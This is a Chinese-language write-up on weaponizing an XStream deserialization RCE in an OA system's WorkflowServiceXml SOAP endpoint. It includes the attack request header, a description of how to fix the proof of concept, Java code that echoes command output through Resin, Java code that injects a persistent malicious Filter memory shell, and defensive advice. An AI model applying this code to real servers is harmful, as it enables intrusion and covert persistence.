微某OA从0day流量分析到武器化利用
字数 1230 2025-08-09 23:12:43
微某OA系统0day漏洞分析与武器化利用技术文档
漏洞概述
本文档详细分析微某OA系统中存在的0day漏洞,该漏洞源于XStream反序列化安全问题,可导致远程代码执行。文档将从漏洞分析、武器化利用、修复异常、回显技术和内存马植入五个方面进行全面讲解。
一、漏洞分析
1.1 漏洞触发点
漏洞通过向OA系统的/services/WorkflowServiceXml端点发送特制的SOAP请求触发:
POST /services%20/WorkflowServiceXml HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 33003
Host: 192.168.190.128
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
1.2 技术原理
-
请求路由分析:
- 通过
web.xml配置可知,/services/*路径由org.codehaus.xfire.transport.http.XFireConfigurableServlet处理 doPost方法最终调用doService方法处理请求
- 通过
-
服务映射机制:
- 使用XFire框架开发,通过
service.xml文件描述服务名称与处理类的关系 WorkflowServiceXml服务由unicodesec.workflow.webservices.WorkflowServiceImplXml类处理
- 使用XFire框架开发,通过
-
漏洞本质:
doCreateWorkflowRequest方法中使用低版本XStream进行XML反序列化- 攻击者可通过构造恶意XML实现远程代码执行
二、武器化利用
2.1 基础利用
使用XStream官方提供的POC验证漏洞存在性,可实现简单的命令执行。
2.2 高级利用 - 修复异常
原始POC(CVE-2021-21350)会抛出NullPointerException,原因在于:
-
问题定位:
checkPackageAccess方法中domains字段为空- XStream反序列化时未正确初始化所有字段
-
修复方案:
- 序列化一个正常的BCEL ClassLoader
- 从生成的XML中提取所需字段的序列化片段
- 重组到POC中确保所有必要字段被正确初始化
2.3 回显技术
在Resin中间件中实现命令执行回显的技术:
// 获取当前请求的Response对象
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader()
.loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
// 通过反射获取Response对象并写入结果
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer) getWriterM.invoke(response);
w.write("命令执行结果");
2.4 内存马植入
在Resin中间件中植入Filter内存马的技术:
// 获取当前WebContext对象
WebApp w = WebApp.getCurrent();
// 创建并配置Filter映射
FilterMapping mapping = new FilterMapping();
mapping.setFilterName("恶意Filter名称");
mapping.setFilterClass("恶意Filter全限定名");
mapping.setWebApp(w);
mapping.setServletContext(w);
// 添加URL模式并注册Filter
w.addFilter(mapping);
FilterMapping.URLPattern url = mapping.createUrlPattern();
url.init();
url.addText("/*");
w.addFilterMapping(mapping);
三、防御建议
-
临时缓解措施:
- 禁用或限制对
/services/*路径的访问 - 升级XStream到最新安全版本
- 禁用或限制对
-
长期解决方案:
- 实现输入验证,特别是对SOAP请求内容
- 使用白名单机制限制反序列化的类
- 部署RASP解决方案监控异常行为
-
检测方案:
- 监控异常的大量XML请求
- 审计日志中的异常ClassLoader行为
- 检测内存中异常的Filter注册行为
四、技术总结
本漏洞利用链展示了从简单的反序列化漏洞到完全武器化利用的全过程,关键点包括:
- 通过流量分析定位漏洞点
- 理解XFire框架的服务映射机制
- 解决POC中的异常问题
- 实现Resin中间件的回显技术
- 植入持久化的内存马
攻击者利用此漏洞可在目标系统上实现持久化访问,防御方应重点关注XML反序列化操作的安全防护。